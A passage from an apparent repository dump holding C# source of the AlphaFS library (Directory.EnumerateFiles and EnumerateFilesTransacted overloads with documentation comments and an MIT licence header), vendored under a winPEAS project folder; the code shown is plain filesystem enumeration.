name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFiles(string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, null, options, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFiles(string path, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFiles(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFiles(string path, string searchPattern, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFiles(string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFiles(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFiles(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFiles(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, null, options, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFiles(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, null, options, filters, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFilesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file instances that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file instances instances that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, Path.WildcardStarMatchAll, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file instances that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file instances instances that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, searchOption, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, Path.WildcardStarMatchAll, null, options, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file instances that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, null, options, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file instances that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, null, options, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      